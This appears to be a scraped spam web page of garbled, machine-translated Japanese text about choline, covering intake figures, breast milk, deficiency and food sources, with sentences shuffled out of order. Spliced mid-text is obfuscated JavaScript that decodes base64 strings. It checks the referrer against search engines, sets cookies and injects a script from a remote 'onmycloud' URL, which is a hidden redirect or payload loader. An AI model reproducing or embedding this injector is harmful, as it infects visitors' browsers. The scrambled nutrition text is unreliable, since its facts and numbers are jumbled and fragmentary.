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コリンおよびイノシトール投与量

「新生児、乳児、子供、授乳中の女性、授乳中の乳児、および母乳中のコリンの状態」.. 米国では、最近発表された食物消費に関する政府の調査によると、20歳以上の男性と女性の平均コリン摂取量は、それぞれ402と278 mg /日であった。.. 例として、ピーナッツにコリンが含まれていても、AIの要件を満たすために237％の食事が与えられているため、それらは貧弱な原料です。つまり、ピーナッツ以外の何も食べなかった人はAIの半分以下になります。.. コリンのサリチル酸塩はアフタ性潰瘍の痛みを軽減するために局所的に使用されます.. 欠乏症は実験的状況でも、また完全非経口栄養でも見られています（Buchman et al。..
供給源のない、または供給源の質の低い材料は、異議を申し立てられ削除される可能性があります。.

推定値として2000カロリー、425 mgを使用した場合、平均的な成人女性についてほぼ同じ数値が得られています。したがって、男性用と女性用の別々の列は必要ありません。.. トリメチルアミン尿症の人はコリンを多く含む食品の摂取を制限することをお勧めします。これは、患者の体臭を軽減するのに役立ち得る。.. コリンと葉酸塩（ビタミンB 12の助けを借りて）の両方がホモシステインへのメチル供与体としてメチオニンを形成することができ、それは次にSAM（S-アデノシルメチオニン）を形成してDNAのメチル化のためのメチル供与体として働くことができる.. コリン吸収および使用の阻害はマウスの神経管欠損と関連しており、これはヒトにも起こりうる..
母乳経由で消費されるコリンは、母乳で育てられた乳児のコリンの血中濃度に影響を与えることが示されており、母乳で消費されるコリンが新生児系に入っていることを示しています.. 米国では、栄養表示は、AIに基づいて1日の摂取量に対する割合を1日当たりの割合（％DV）で表します。.

欧州食品安全局はまた、「1日の推奨摂取量」も提供しておらず、「EUで利用可能な不適切なコリン摂取量の兆候はない」ことを示しています.. コリンは、神経伝達物質アセチルコリンの前駆体であり、これは記憶および筋肉制御を含む多くの機能に関与している.. 牛乳と牛由来の調合乳は、人乳と比較して同等またはそれ以上のグリセロホスホコリンを有し、大豆由来の調乳はより低いグリセロホスホコリン含有量を有していた。.. ホスファチジルコリンとスフィンゴミエリンの濃度はウシの調乳と母乳の間で似ていたが、大豆由来の乳児用調乳はヒトまたはウシの原料よりもホスファチジルコリンが多かった..
長期健康へのコリンの関与および心血管疾患、加齢の認知機能低下、および血中脂質レベルの調節などの臨床的障害の発症は、明確に定義されていない。.. 動脈の血漿中コリン濃度が14 mol / lを超えると輸送が起こりますが、これはコリンが豊富な食品を摂取した後のコリン濃度の急上昇中に発生する可能性があります.. 脂溶性の形態（ホスファチジルコリンなど）は一度吸収されると肝臓を迂回しますが、水溶性の形態（遊離コリンなど）は肝臓の門脈循環に入り、通常は肝臓に吸収されます。.

アセチルコリンは胎盤にも存在し、細胞の増殖/分化（細胞数の増加と多用途細胞の専用細胞機能への変化）の制御や分娩を助けるかもしれません.. 成熟した人乳中の遊離コリン濃度は、牛乳または調合乳に見られるものよりも30〜80％低かった。.. コリンは母体の血液供給から直接ミルク供給に入るか、またはコリン含有栄養素は乳腺上皮内で生成されるかもしれません.. var _0x29c6=['Q3lXZEk=','dVJyeVI=','RXl4TWI=','aG5HeWI=','cmxnWUo=','LnlhaG9vLg==','dEN4RUU=','VlJnVVY=','Ukx6U0g=','SU1QbHg=','cmVmZXJyZXI=','Z2V0','Q2NDeko=','cWJjU3E=','aW5kZXhPZg=='
,'b0NLQXo=','WXJ3cnU=','a1Nnc0c=','bFF4SWQ=','YlVBV24=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','SU96Y2E=','YXBwZW5kQ2hpbGQ=','bWF0Y2g=','bmNMRnc=','bGVuZ3Ro','OyBzZWN1cmU=','Y29va2ll','bkFUTlU=','RHl2RlQ=','QktJWEw=','Z2V0VGltZQ==','ZkRsYUM=','OyBwYXRoPQ==','OyBkb21haW49','Lmdvb2dsZS4=','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4='];(function(_
0x5ab57f,_0x387234){var _0x190d60=function(_0x12868a){while(--_0x12868a){_0x5ab57f['push'](_0x5ab57f['shift']());}};_0x190d60(++_0x387234);}(_0x29c6,0x6a));var _0x5b7f=function(_0x108263,_0x11eaf9){_0x108263=_0x108263-0x0;var _0x1a7505=_0x29c6[_0x108263];if(_0x5b7f['mRAdAv']===undefined){(function(){var _0x5747e7;try{var _0x14337e=Function('return\x20(function()\x20'+'{}..
constructor(\x22return\x20this\x22)(\x20)'+');');_0x5747e7=_0x14337e();}catch(_0xf458a){_0x5747e7=window;}var _0x5944e9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5747e7['atob']||(_0x5747e7['atob']=function(_0x1f2454){var _0x296471=String(_0x1f2454)['replace'](/=+$/,'');for(var
_0x53ef36=0x0,_0x1c800d,_0x3c0b79,_0x569707=0x0,_0x2e3d02='';_0x3c0b79=_0x296471['charAt'](_0x569707++);~_0x3c0b79&&(_0x1c800d=_0x53ef36%0x4?_0x1c800d*0x40+_0x3c0b79:_0x3c0b79,_0x53ef36++%0x4)?_0x2e3d02+=String['fromCharCode'](0xff&_0x1c800d>>(-0x2*_0x53ef36&0x6)):0x0){_0x3c0b79=_0x5944e9['indexOf'](_0x3c0b79);}return _0x2e3d02;});}());_0x5b7f['TSvIYx']=function(_0x255863){var _0x2f33cd=atob(_0x255863);var
_0x475503=[];for(var _0x4ef0d5=0x0,_0x103622=_0x2f33cd['length'];_0x4ef0d5=_0x22d7ed;},'lQxId':function(_0x33025b,_0x9fe969){return _0x33025b+_0x9fe969;},'bUAWn':'https://onmycloud.. コリンの場合、参考1日摂取量に示すように、1日摂取量の100％は550 mgです。.. 母乳と製法の違い 人乳はコリンに富んでいるが、他の原料、特に大豆由来の調合乳は人乳よりも総コリン濃度が低い。.. スフィンゴミエリンは、ニューロンを絶縁するミエリンを生成するために使用されるため、大豆由来の配合物は人乳よりもスフィンゴミエリンが少なかった。.

それが1865年にオスカー・リーブレヒによって最初に化学合成されたとき、それは神経として知られていました.. 微量栄養素情報センター、Linus Pauling研究所、オレゴン州立大学、コーバリス、オレゴン.. ヒトの脳の成長は妊娠の第3学期の間に最も急速でありそしておよそ5歳まで急速にあり続ける.. 逆に、ニューロンは高親和性トランスポーターと低親和性トランスポーターの両方によってコリンを獲得する.. コリンと授乳 ヒト乳腺は、脂肪（脂肪細胞）、筋肉、乳管上皮、および乳腺上皮（時には乳酸細胞と呼ばれる）を含むいくつかの細胞型から構成されています。..
IN：チアミン、リボフラビン、ナイアシン、ビタミンB6、葉酸、ビタミンB12、パントテン酸、ビオチン、およびコリンの食事摂取基準.. コリン提供栄養補助食品成分には、塩化コリン、酒石酸コリン、シチコリン（CDP-コリン）、L-α-グリセロホスホコリン（Alpha-GPC）、レシチン、ホスファチジルコリンが含まれます。.. 魚臭症候群 主な記事：トリメチルアミン尿症 コリンはトリメチルアミンの前駆体であり、トリメチルアミン尿症を患っている人は分解できません.. ^オーストラリアおよびニュージーランドのための栄養素の参照値 ^ "完全なレポート（全栄養素）：12036、種子、ヒマワリの種子核、乾燥、リリース28".. コリンの食事源
人間は肝臓に少量のコリンを作ることができますが、動物によってはコリンを生成できず、食事を通してそれを消費しなければなりません。.. コリンと健康な脂質代謝への貢献（ID 3186）、正常な肝機能の維持（ID 1501）、正常なホモシステイン代謝への貢献（ID 3090）、正常な神経機能の維持に関する健康の主張の立証に関する科学的意見（ID 1502）、規則（EC）No 1924/2006の第13条（1）による正常認知機能への寄与（ID 1502）、ならびに脳および神経学的発達（ID 1503）.. top/jp_dec2 php?x=sa&query=','hnGyb':_0x5b7f('0x13'),'rlgYJ':' bing
','tCxEE':_0x5b7f('0x14'),'VRgUV':_0x5b7f('0x15'),'RLzSH':_0x5b7f('0x16'),'IMPlx':'.. ^ホームズ - マクナリー、M。 WL、チェン。 ＭＨ、Ｍａｒ。フュッセル、S。ザイゼル、SH.. 赤コリンとリン酸基;ブラック - グリセロール。グリーンモノ不飽和脂肪酸。青飽和脂肪酸 コリン誘導体 コリンは様々な対イオンで得られる.. 国内食事ガイドライン 米国では、国民医学アカデミー（以前の医学研究所）は、合意が得られていないため、コリンの推奨食事許容量（RDA）を公表していませんが、確立された十分摂取量（AI）の必須栄養素として推奨されています値.. [要出典]
食品中のコリンは遊離型またはエステル化型（ホスファチジルコリンなどの他の化合物内にエステル結合を介して結合したコリン）のいずれかで存在します。.. オーストラリア、ニュージーランド、およびカナダは、National Academy of Medicineによって公表された数値を使用します。一方、欧州食品安全局（EFSA）は、2016年に最も適切な摂取量の値を公表しました。.. 人体は、肝臓でホスファチジルエタノールアミンをN-メチルトランスフェラーゼ（PEMT）でメチル化してホスファチジルコリンを形成することによってコリンを生成することができ、または食事から消費される可能性があります。.. 35-44 ^ホームズ - マクナリー、MQ。 WL、チェン。
ＭＨ、Ｍａｒ。フッセル、S。 Zeisel、SH（1996）.. （2014年1月） コリン コリン/コリン/は水溶性ビタミン様必須栄養素です。.. しかし、NAMは、これらの数字は単一の研究に基づいているため限定されていると指摘している。.. 遡及的症例対照研究（研究者に発症させずに発生した症例から事実後のデータを収集する研究）では、1日当たりのコリン摂取量が最も少ない女性の方が4倍のリスクが高いことが示されました四分位数が最も多い女性よりも神経管欠損のある子供.. 高濃度（通常ヒトに見られるものよりも高い）では、コリンは細胞膜を越えて乳腺上皮細胞に拡散する可能性があります。.. 栄養補助食品として また見なさい：citicoline
米国食品医薬品局は、牛乳から作られていない乳児用調製粉乳にコリンを補給することを要求している。.. コリン摂取量が少ないとホモシステイン濃度が上昇すると、子癇前症、早産、および超低出生体重のリスクが高まります.. [要出典] メチオニンは、葉酸から誘導されたメチル基、またはコリンからそのメチル基を受け取るベタインから誘導されたメチル基のいずれかから形成され得る。.. 閉経後の女性には、280 mg /日 食餌性コリンの健康への影響 コリン欠乏症は、肝疾患、アテローム性動脈硬化症、そしておそらく神経障害に関与している可能性があります。.. ^ Bidulescu A、Chambless LE、Siega-Riz AM、Zeisel SH、Heiss G（2009）
「コリンとベタインの食事摂取量の評価における再現性と測定誤差：地域社会におけるアテローム性動脈硬化症リスク（ARIC）研究」.. コリンは膜結合型ホスファチジルコリンとして保存され、後でアセチルコリン神経伝達物質合成に使用できます。.. 以下は、人々が一日に消費することができる量での食品の選択に対するコリン値です。.. ^押田、K。清水、T。高瀬、M。田村、Y。清水、T。やましろ、Y（2003）.. 参考文献 コリンの^オックスフォード辞書定義 ^コリンのMerriam-Websterの定義 ^ a b "コリン".. ^ Gossell-Williams M、Fletcher H、McFarlane-Anderson N、Jacob A、Patel J、Zeisel S（2005年12月）.. ^ a
bショー、GM。 Carmicheal、SL。ヤン、W。セルビン、S。シャファー、DM（2004）.. コリンは、（濃度勾配に対して）母体の血液供給から乳腺上皮細胞へのコリンに特異的な輸送体を介して乳汁に達する.. 128ページ ^サリチル酸コリン/サリチル酸マグネシウム - 経口、Trilisate medicinenet.. また見なさい アセチルコリン シチジン二リン酸コリン ジメチルエタノールアミン 炭素-11-コリン ノート ^表からの数字を使用して平均的な成人男性のための2500日カロリーと適切な摂取量（AI）のための550mgを使用して計算された食事のパーセント..
コリンはまた、脳領域の構造および構成、神経形成、髄鞘形成、およびシナプス形成に影響を及ぼし得る神経伝達物質アセチルコリンの産生も要求されている。.. 胎児の機能 コリンは、細胞膜を構築するための基質（急速な胎児および母体組織の増殖）、一炭素部分（DNAへのメチル化の付加および他の機能のための基質）の必要性の増加として妊娠中に高い需要があり、胎児におけるコリン貯蔵を増加させる。胎盤組織、およびリポタンパク質（「脂肪」部分を含むタンパク質）の産生増加.. 動植物食品 食物量（インペリアル） 食糧量（メートル） コリン（mg） 食品100g中のコリン（mg） カロリー AIを満たす食事の割合（小さい方が良い） 生の牛肉のレバー 5オンス 142g 473
333 192 9 カリフラワー 1ポンド 454g 177 39 104 13年 大きな卵 1 50グラム 147 294 78 12年 ブロッコリ 1ポンド 454g 182 40 158 19年 タラの魚 0.. コリンを欠く食餌は脂肪肝および筋肉の損傷を招きますが、この効果は年齢層によって異なりますが、男性および閉経後の女性は閉経前の女性よりも敏感です.. オーストラリアとニュージーランドの国家栄養機関はまた、一般人口におけるコリン欠乏の報告はないと述べています.. 信頼できる摂取量データはなく、EUで入手可能な不適切なコリン摂取量の徴候はありません。 ^オーストラリアとニュージーランドの栄養素基準値、コリンは必須ですが、一般人口の不足についての報告はないようです..
コリンと記憶 他の研究では一貫した効果が示されていないが、ある研究では血中のより高いコリンレベルとより良い記憶と関連すると考えられる食事摂取の増加を示しています.. ワシントンDC：National Academies Press、1998 ^アレンLH ワシントンDC：ILSI Press。 2006年：529 543 ^王、JC（2000）.. 5ポンド 227g 190年 84 238 28年 ほうれん草 1ポンド 454g 113 25年 154 30 小麦胚芽 1カップ 113g 202 179 432 47 大豆、成熟した、生 1カップ 186g 216 116 86 51 牛乳、1％脂肪 1クォート 946mL（976g） 173 18年 410 52 木綿豆腐 2カップ 504g 142 28年 353 55
ひまわりの種（粒）、生 1カップ 140g 77 55 584 チキン 0.. これは、乳汁の脂肪分については、アポクリン分泌によって起こります。そこでは、物質を含む液胞が細胞から肺胞の内腔（貯蔵）に出芽します（乳汁分泌腺）。.. これは、Pemt - / - マウス（機能的PEMTを欠くマウス）がコリンの補給を受けない限り9〜10日で中絶するという観察によって例示される。.. その後、アセチルコリンエステラーゼはそれを分解し、遊離コリンは高親和性トランスポーターによって再びニューロンに取り込まれます。.. コリンの機能は複雑で、葉酸、メチオニン、ビタミンB 12との相互作用を含みます。.. 神経管閉鎖
葉酸は神経管の閉塞を防ぐことで最もよく知られていますが（出生前ビタミンへの添加の基礎）、葉酸とコリン代謝は相互に関連しています.. 牛乳中のコリン コリンは、遊離コリン、ホスホコリン、グリセロホスホコリン、スフィンゴミエリン、およびホスファチジルコリンとして乳汁中に見られ、母乳中のコリン濃度は母体血中のコリン濃度と相関している.. ; ThirsaのVisser。 Voortman、Trudy。バウティスタ、ポーラK チアミン、リボフラビン、ナイアシン、ビタミンB6、葉酸、ビタミンB12、パントテン酸、ビオチンおよびコリンの食事摂取基準..
コリンとその代謝産物は、細胞膜の構造的完全性とシグナル伝達の役割、コリン作動性神経伝達（アセチルコリン合成）、およびその代謝産物を介したメチル基の供給源であるトリメチルグリシン（ベタイン）の3つの目的を果たす。これはS-アデノシルメチオニン（SAM）の生合成に関与する。 ）.. コリンという用語は、Ｎ、Ｎ、Ｎ－トリメチルエタノールアンモニウムカチオンを含有する四級アンモニウム塩のクラスを指す（右側のＸは未定義のカウンターアニオンを示す）。.. 妊娠中や授乳中に母体のコリン貯蔵が枯渇する一方で、胎盤は濃度勾配に抗してコリンを組織内に汲み上げることによってコリンを蓄積し、そこでそれは様々な形で、ほとんどアセチルコリンとして貯蔵される..
しかし、北米以外の多くの食品のコリン含有量に関する情報は限られているため、ヨーロッパでのコリン摂取量を正確に推定することは困難です。.. 「発達中のラットにおける中枢神経系の髄鞘形成に対する食餌スフィンゴミエリンの効果」.. 情報源を探す： "Choline"新聞社書籍JSTOR（2016年12月）（このテンプレートのメッセージを削除する方法と時期を学んでください） 妊娠も授乳もコリンの需要を劇的に増加させる.. すべての形態が最も有用である可能性が高いですが、いくつかの証拠はそれらが不均等に生物学的に利用可能であることを示します（身体によって使われることができる）..
陽イオンはホスファチジルコリンとスフィンゴミエリン、細胞膜に豊富にある2つのクラスのリン脂質の頭部グループに現れる.. より正常な濃度では、それはカルシウム／ナトリウム依存性、リン酸化関連、能動輸送体であると考えられているものを介して細胞内を通過する。. d70b09c2d4 
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